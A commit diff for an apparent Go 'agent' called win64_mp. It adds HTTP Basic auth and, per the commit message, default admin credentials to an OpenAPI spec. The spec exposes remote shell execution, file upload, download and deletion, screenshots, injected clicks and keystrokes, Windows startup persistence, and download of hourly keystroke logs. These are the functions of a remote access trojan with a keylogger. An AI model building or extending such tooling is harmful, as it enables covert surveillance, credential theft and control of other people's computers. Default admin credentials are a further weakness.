Add HTTP Basic authentication to the agent's API. Update OpenAPI specification to include security requirements and modify the server handler to enforce authentication. Introduce default admin credentials for access control.

This commit is contained in:
2026-08-29 18:15:46 +03:00
parent 35d8332d9c
commit b6cb25a0f4
6 changed files with 130 additions and 34 deletions
+41 -33
View File
@@ -24,43 +24,48 @@ func Spec() map[string]any {
"application/json": map[string]any{"schema": schema},
}}
}
auth := func(responses map[string]any) map[string]any {
responses["401"] = errResp("Unauthorized")
return responses
}
return map[string]any{
"openapi": "3.0.3",
"info": map[string]any{
"title": "win64_mp",
"description": "HTTP API for win64_mp. Set AGENT_ADDR (default 0.0.0.0:5032) and optionally AGENT_FILE_ROOT to restrict file access.",
"description": "HTTP API for win64_mp. Set AGENT_ADDR (default 0.0.0.0:5032) and optionally AGENT_FILE_ROOT to restrict file access. HTTP Basic auth required (except /openapi).",
"version": config.Version,
},
"servers": []map[string]any{
{"url": "http://127.0.0.1:5032", "description": "Default listen address (override host/port as needed)"},
},
"security": []map[string]any{{"basicAuth": []string{}}},
"paths": map[string]any{
"/health": map[string]any{
"get": map[string]any{
"summary": "Health check",
"operationId": "health",
"responses": map[string]any{
"responses": auth(map[string]any{
"200": okJSON("Agent is running", ref("Health")),
},
}),
},
},
"/healthz": map[string]any{
"get": map[string]any{
"summary": "Health check alias",
"operationId": "healthz",
"responses": map[string]any{
"responses": auth(map[string]any{
"200": okJSON("Agent is running", ref("Health")),
},
}),
},
},
"/api/v1/status": map[string]any{
"get": map[string]any{
"summary": "Agent status",
"operationId": "getStatus",
"responses": map[string]any{
"responses": auth(map[string]any{
"200": okJSON("Host and agent metadata", ref("Status")),
},
}),
},
},
"/api/v1/files": map[string]any{
@@ -71,12 +76,12 @@ func Spec() map[string]any {
{"name": "path", "in": "query", "schema": map[string]string{"type": "string"}, "description": "Directory path; defaults to the current user's home directory"},
{"name": "depth", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 0, "default": 0}, "description": "Recursion depth (0 = immediate children only)"},
},
"responses": map[string]any{
"responses": auth(map[string]any{
"200": okJSON("Directory listing", ref("FileList")),
"400": errResp("Invalid path or depth"),
"403": errResp("Path outside allowed root"),
"404": errResp("Path not found"),
},
}),
},
"delete": map[string]any{
"summary": "Delete a file or directory",
@@ -84,12 +89,12 @@ func Spec() map[string]any {
"parameters": []map[string]any{
{"name": "path", "in": "query", "required": true, "schema": map[string]string{"type": "string"}},
},
"responses": map[string]any{
"responses": auth(map[string]any{
"200": okJSON("Deleted", ref("OkPath")),
"400": errResp("Invalid path"),
"403": errResp("Path outside allowed root"),
"404": errResp("Path not found"),
},
}),
},
},
"/api/v1/download": map[string]any{
@@ -99,12 +104,12 @@ func Spec() map[string]any {
"parameters": []map[string]any{
{"name": "path", "in": "query", "required": true, "schema": map[string]string{"type": "string"}},
},
"responses": map[string]any{
"responses": auth(map[string]any{
"200": map[string]any{"description": "File bytes", "content": map[string]any{"application/octet-stream": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}}}},
"400": errResp("Invalid path or directory"),
"403": errResp("Path outside allowed root"),
"404": errResp("File not found"),
},
}),
},
},
"/api/v1/upload": map[string]any{
@@ -126,11 +131,11 @@ func Spec() map[string]any {
},
},
},
"responses": map[string]any{
"responses": auth(map[string]any{
"200": okJSON("Uploaded", ref("UploadResult")),
"400": errResp("Invalid path or body"),
"403": errResp("Path outside allowed root"),
},
}),
},
},
"/api/v1/screenshot": map[string]any{
@@ -142,7 +147,7 @@ func Spec() map[string]any {
{"name": "quality", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 1, "maximum": 100, "default": 80}, "description": "JPEG quality only"},
{"name": "monitor", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 0, "default": 0}},
},
"responses": map[string]any{
"responses": auth(map[string]any{
"200": map[string]any{
"description": "Screenshot image",
"headers": map[string]any{
@@ -158,7 +163,7 @@ func Spec() map[string]any {
},
"400": errResp("Invalid parameters"),
"503": errResp("No interactive desktop available"),
},
}),
},
},
"/api/v1/exec": map[string]any{
@@ -166,27 +171,27 @@ func Spec() map[string]any {
"summary": "Run a shell command",
"operationId": "exec",
"requestBody": jsonBody(ref("ExecRequest")),
"responses": map[string]any{
"responses": auth(map[string]any{
"200": okJSON("Command finished", ref("ExecResponse")),
"400": errResp("Invalid command or timeout"),
"504": errResp("Command timed out"),
},
}),
},
},
"/api/v1/startup": map[string]any{
"post": map[string]any{
"summary": "Add agent to Windows startup",
"operationId": "enableStartup",
"responses": map[string]any{
"responses": auth(map[string]any{
"200": okJSON("Startup state", ref("StartupState")),
},
}),
},
"delete": map[string]any{
"summary": "Remove agent from Windows startup",
"operationId": "disableStartup",
"responses": map[string]any{
"responses": auth(map[string]any{
"200": okJSON("Startup state", ref("StartupState")),
},
}),
},
},
"/api/v1/input/click": map[string]any{
@@ -194,10 +199,10 @@ func Spec() map[string]any {
"summary": "Click the desktop",
"operationId": "click",
"requestBody": jsonBody(ref("ClickRequest")),
"responses": map[string]any{
"responses": auth(map[string]any{
"200": okJSON("Clicked", ref("ClickResult")),
"400": errResp("Invalid coordinates or button"),
},
}),
},
},
"/api/v1/input/key": map[string]any{
@@ -205,10 +210,10 @@ func Spec() map[string]any {
"summary": "Send a key press",
"operationId": "sendKey",
"requestBody": jsonBody(ref("KeyRequest")),
"responses": map[string]any{
"responses": auth(map[string]any{
"200": okJSON("Key sent", ref("KeyResult")),
"400": errResp("Invalid key or action"),
},
}),
},
},
"/api/v1/input/text": map[string]any{
@@ -216,19 +221,19 @@ func Spec() map[string]any {
"summary": "Type text into the focused field",
"operationId": "typeText",
"requestBody": jsonBody(ref("TextRequest")),
"responses": map[string]any{
"responses": auth(map[string]any{
"200": okJSON("Text typed", ref("TextResult")),
"400": errResp("Invalid or empty text"),
},
}),
},
},
"/api/v1/keylog": map[string]any{
"get": map[string]any{
"summary": "List keystroke log files",
"operationId": "listKeylogs",
"responses": map[string]any{
"responses": auth(map[string]any{
"200": okJSON("Keystroke log index", ref("KeylogList")),
},
}),
},
},
"/api/v1/keylog/download": map[string]any{
@@ -238,17 +243,20 @@ func Spec() map[string]any {
"parameters": []map[string]any{
{"name": "file", "in": "query", "required": true, "schema": map[string]string{"type": "string"}, "description": "Hourly log filename, e.g. 2026-08-28-13.log"},
},
"responses": map[string]any{
"responses": auth(map[string]any{
"200": map[string]any{"description": "Plain-text keystroke transcript", "content": map[string]any{
"text/plain": map[string]any{"schema": map[string]string{"type": "string"}},
}},
"400": errResp("Invalid filename"),
"404": errResp("Log file not found"),
},
}),
},
},
},
"components": map[string]any{
"securitySchemes": map[string]any{
"basicAuth": map[string]any{"type": "http", "scheme": "basic"},
},
"schemas": map[string]any{
"Error": map[string]any{
"type": "object", "required": []string{"error"},